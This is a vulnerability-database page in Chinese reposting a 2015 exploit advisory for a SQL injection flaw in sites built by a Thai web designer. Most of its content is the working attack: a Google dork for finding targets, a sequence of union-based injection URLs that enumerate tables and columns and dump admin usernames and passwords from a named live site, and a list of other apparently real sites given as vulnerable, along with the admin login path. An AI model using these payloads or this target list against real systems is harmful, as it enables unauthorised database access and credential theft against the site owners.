RUOK SQL injection vulnerability

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1041176 漏洞类型
发布时间 2015-10-05 更新时间 2015-10-05
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2015100029
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#######################################################
#
# [+] Exploit Title: RUOK SQL injection vulnerability
# [+] Date: 2015 28 September
# [+] Google Dork : intext:"DESIGN BY RUOK.CO.TH"
# [+] Software Link: http://www.ruok.co.th
# [+] Exploit Author: Iranian_Dark_Coders_Team
# [+] Discovered By: KurD_HaCK3R
# [+] Security Risk: High
# [+] Platforms: php
# [+] Tested on: Windows 8.1
#
#######################################################
#
# [+] VULNERABILITY:
##        ryouok SQL injection vulnerability
#
#######################################################
#
# [+] Demo site:
#http://www.mugellomotorXs.co.th/carreview.php?id=6'
#http://www.mugellomotoXrs.co.th/carreview.php?id=-6+union+all+select+1,2,3,4,5,6,7--
#http://www.mugellomotXors.co.th/carreview.php?id=-6+union+all+select+1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables+where+table_schema=database()--
#http://www.mugellomoXtors.co.th/carreview.php?id=-6+union+all+select+1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_name=0x61646d696e--
#http://www.mugellomXotors.co.th/carreview.php?id=-6+union+all+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+admin--
#######################################################
# [+] Example
#http://www.chiangmXaihillhotel.com/gallery.php?id=11%27
#http://www.greencXal.co.th/en/product.php?id=66%27
#http://www.thaigXoodluck.com/webboard/webboard_view_data.php?question_id=2451%27
#http://www.athiXtan.com/gallery.php?id=15%27
#######################################################
#  [+] Admin page : www.site.com/admin/login.php
#######################################################
#
# [+] Discovered By : KurD_HaCK3R
# [+] We Are : KurD_HaCK3R,M.R.S.CO,Black.Hack3r,N3O
# [+] SpTnx : YoSeF__HaCkeR,Mr.Cicili,Sec4ever,D$@d_M@n,HOt0N,MR.0x41,M4H4N,Security,@3is And All #Members In wWw.IDC-TeaM.NeT
# [+] Home : http://wWw.IDC-TeaM.NeT
#
#######################################################